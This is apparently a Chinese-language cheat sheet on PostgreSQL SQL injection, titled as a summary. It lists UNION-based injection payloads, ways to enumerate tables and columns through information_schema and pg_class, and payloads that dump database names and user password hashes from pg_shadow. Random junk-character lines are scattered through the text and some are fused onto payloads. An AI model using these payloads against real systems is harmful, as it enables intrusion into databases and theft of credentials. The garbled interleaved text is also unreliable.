postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点
9 \, N" I8 ~9 g+ ^) |9 X* i

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
连接符: %20 , + , /**/

内置函数:
current_database() //当前数据库名
9 [- t) X4 |- s5 i8 Fsession_user //会话用户
5 P$ \1 C  ^( ?, y+ \current_user //当前数据库用户
user //当前用户
version() //数据库版本

Union注射:
order by n–
and 1=2 union select null,null,null–
! X9 a+ a1 R4 K- }9 Vand 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
! q+ y$ F  t( W+ u  R: pand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
/ y5 y8 q# U5 D( K$ A4 ]9 Z(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
% I2 m6 j; n2 ^( x, o' c+ `- Wselect oid from pg_class where 条件 获取参数
8 T: V7 b. a$ K8 _6 Mselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
7 W$ k' |/ Y! L2 J由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
% b5 C& F0 ^3 p2 I* }, H2 Xand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码